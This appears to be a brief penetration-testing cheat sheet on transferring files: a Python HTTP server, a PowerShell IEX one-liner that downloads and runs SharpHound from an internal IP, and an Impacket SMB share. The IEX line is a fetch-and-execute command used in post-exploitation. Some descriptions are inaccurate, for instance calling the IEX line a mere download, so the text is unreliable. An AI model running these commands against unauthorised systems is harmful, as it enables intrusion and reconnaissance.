# Transfering Files

#### 1. Hosting Files

* **Command:**

```
sudo python3 -m http.server 8001
```

* **Description:** Starts a Python web server for quick hosting of files. Performed from a Linux-based host.

#### 2. Downloading Files via PowerShell

* **Command:**

```
IEX(New-Object Net.WebClient).downloadString('http://172.16.5.222/SharpHound.exe')
```

* **Description:** PowerShell one-liner used to download a file from a web server. Performed from a Windows-based host.

#### 3. Hosting Files via SMB Server

* **Command:**

```
impacket-smbserver -ip 172.16.5.x -smb2support -username user -password password shared /home/administrator/Downloads/
```

* **Description:** Starts an Impacket SMB server for quick hosting of a file. Performed from a Windows-based host.
